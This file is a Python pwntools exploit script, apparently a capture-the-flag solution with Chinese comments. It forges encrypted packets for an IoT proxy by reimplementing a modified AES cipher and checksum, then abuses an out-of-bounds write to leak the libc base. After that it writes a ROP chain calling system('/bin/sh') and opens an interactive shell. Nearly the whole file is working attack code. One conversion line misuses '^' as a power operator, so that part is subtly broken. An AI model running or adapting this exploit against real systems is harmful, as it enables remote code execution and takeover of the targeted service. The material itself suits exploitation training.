1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
| # pyright: reportUnboundVariable=false
import argparse
import sys
from pwn import *
import aes.core._core as origin_aes
parser = argparse.ArgumentParser()
parser.add_argument(
"mode",
type=int,
choices=[0, 1, 2],
nargs="?",
default=0,
help="0=local,1=local+gdb,2=remote",
)
args = parser.parse_args()
filename = "./proxy" #启动在8888端口
attackfile="./pwn"
libc_name = "./libc.so.6"
arch = "amd64"
remote_addr = "localhost"
remote_port = 8888
elf = ELF(attackfile, checksec=False)
if libc_name:
libc = ELF(libc_name, checksec=False)
context(log_level="debug", os="linux", arch=arch)
if args.mode < 2:
context.terminal = ["tmux", "splitw", "-h"]
def VIO_TEXT(x, code=95):
return log.info(f"\x1b[{code}m{x}\x1b[0m")
def CLEAR_TEXT(x, code=32):
return log.success(f"\x1b[{code}m{x}\x1b[0m")
ret_addr= 0x40101A
pop_rdi_ret = elf.sym["legacy_abi_bridge"] # endbr64; pop rdi; ret
mask64= (1 << 64)- 1
proxy_aes_key= bytes.fromhex("1337C0DE426699AB5A11F00D7E88214C")
def rol8(x, n):
n &= 7
return ((x << n) | (x >> ((8 - n) & 7))) & 0xFF
def rol64(x, n):
n &= 63
return ((x << n) | (x >> ((64 - n) & 63))) & mask64
def gf_mul(a, b):
a &= 0xFF
b &= 0xFF
r = 0
for _ in range(8):
if b & 1:
r ^= a
hi = a & 0x80
a = (a << 1) & 0xFF
if hi:
a ^= 0x1B
b >>= 1
return r & 0xFF
def gf_pow(a1,a2=254): # 非0的时候调用到
v5=1
while a2:
if a2 & 1:
v5 = gf_mul(v5, a1)
a1 = gf_mul(a1, a1)
a2 >>= 1
return v5
# 魔改sbox 异或0xa7
def init_sbox():
sbox = []
for i in range(256):
num = 0 if i == 0 else gf_pow(i, 254)
sbox.append(
num ^ rol8(num , 1) ^ rol8(num, 2) ^ rol8(num, 3) ^ rol8(num, 4) ^ 0xA7
)
return sbox
SBOX=init_sbox()
# 魔改轮常量,异或0x5a
def proxy_gen_rcon(a1):
i = 1
while True:
v1=a1
a1-= 1
if v1<= 1:
break
i = gf_mul(i, 2)
return i ^ 0x5A
# proxy使用+0 +3 +1 +2的顺序移动,反过来就是+0 +1 +3 +2
def proxy_shiftrows(state):
old = state[:]
out = [0] * 16
for i in range(4):
out[4 * i] = old[4 * i]
out[4 * i + 1] = old[4 * ((i + 1) & 3) + 1]
out[4 * i + 2] = old[4 * ((i + 3) & 3) + 2]
out[4 * i + 3] = old[4 * ((i + 2) & 3) + 3]
return out
origin_aes.sbox = lambda x=None: tuple(SBOX) if x is None else SBOX[x]
origin_aes.rcon = (
lambda x=None: tuple(proxy_gen_rcon(i+1) for i in range(28))
if x is None
else proxy_gen_rcon(x+1)
)
origin_aes.shiftrows = proxy_shiftrows
# 密钥拓展魔改
def proxy_expand_key(dev_id):
expand_key = origin_aes.key_expansion(list(proxy_aes_key),128)
for round in range(11):
for n in range(16):
expand_key[round*16+n] ^= ((dev_id >> (8*(n&7))) & 0xFF) ^ (
(17*round + 29*n) & 0xFF
)
expand_key[round*16+n] &= 0xFF
return expand_key
def checksum(cmd,body,dev_id):
h = (dev_id^ 0xA3B1BAC6C2D3E4F5) & mask64
for i in range(16):
x = (((cmd[i] ^ proxy_aes_key[i & 0xF]) << (8 * (i & 7))) ^ h) & mask64
h = (0x100000001B3 * rol64(x, 13)) & mask64
for j in range(8):
x = (((body[j] + proxy_aes_key[(j + 7) & 0xF]) << (8 * (j & 7))) ^ h) & mask64
v = rol64(x, 17)
h = (0xFF51AFD7ED558CCD * (v ^ (v >> 23))) & mask64
x = (h ^ dev_id^ 0x9E3779B97F4A7C15) & mask64
y = (0xC4CEB9FE1A85EC53 * (((x >> 33) ^ x) & mask64)) & mask64
return ((y >> 29) ^ y) & mask64
# aes加密魔改结束
def header(proto,dev,length=0):
return b"IoT\x00"+ bytes([proto,1])+p16(length)+p64(dev)
def encrypt_block(block,dev_id):
return bytes(origin_aes.encryption(list(block), proxy_expand_key(dev_id)))
def proxy_CoAP(cmd,dev_id,body=b"test"):
cmd=cmd.ljust(16,b"\x00")
body=body.ljust(8,b"\x00")
plain_text=cmd+body+p64(checksum(cmd,body,dev_id))
return b"".join(
encrypt_block(plain_text[i:i+16],dev_id ^ (i>>4)) for i in range(0, len(plain_text), 16)
)
def activate_proxy(host,port,device):
io = remote(host,port)
io.send(header(2,device,0x20))
io.send(proxy_CoAP(b"ACTIVATE_GATEWAY",device))
data = io.recv()
io.close()
if b"Device activated" in data:
CLEAR_TEXT("Device activated successfully!")
if args.mode == 0:
procs=[]
procs.append(process(attackfile))
time.sleep(0.5)
procs.append(process(filename))
CLEAR_TEXT("[*] Running on local machine")
activate_proxy(remote_addr,remote_port,0x1337133713371337)
io=remote(remote_addr,remote_port)
io.send(header(3,0x1337133713371337,0))
elif args.mode == 1:
procs=[]
procs.append(process(attackfile))
time.sleep(0.5)
procs.append(process(filename))
gdb.attach(procs[0], gdbscript='''
set follow-fork-mode child
b *0x40182e
b *0x401920
b *0x401f93
# put your scripts here
''')
activate_proxy(remote_addr,remote_port,0x1337133713371337)
io=remote(remote_addr,remote_port)
io.send(header(3,0x1337133713371337,0))
elif args.mode == 2:
io = remote(remote_addr, remote_port)
else:
sys.exit(1)
def choose(io,choice):
io.recvuntil(b"> ",timeout=10)
io.sendline(str(choice).encode())
def write32(io, idx, value):
choose(io, 5)
io.recvuntil(b"Engraving:", timeout=5)
io.sendline(str(idx).encode())
signed = value if value < (1 << 32) else value - (2^32)
io.recvuntil(b"Offer:")
io.sendline(str(signed).encode())
def write64(io, idx, value):
write32(io, idx, value & 0xFFFFFFFF)
write32(io, idx + 1, (value >> 32) & 0xFFFFFFFF)
def leak_libc(io):
choose(io, 6)
io.recvuntil(b"] ", timeout=10)
puts_addr=int(io.recvline(),16)
libc.address = puts_addr - libc.sym["puts"]
VIO_TEXT(f"libc base = {libc.address:#x}")
choose(io, 0x4F5DA2)
io.recvuntil(b":")
io.sendline(b"03070203") #调整atk
leak_libc(io)
payload=flat(
ret_addr,
pop_rdi_ret,
next(libc.search(b"/bin/sh\x00")),
libc.sym["system"]
)
for off in range(0, len(payload), 8):
write64(io, 14 + off // 4, u64(payload[off:off + 8]))
choose(io,0)
io.interactive()
|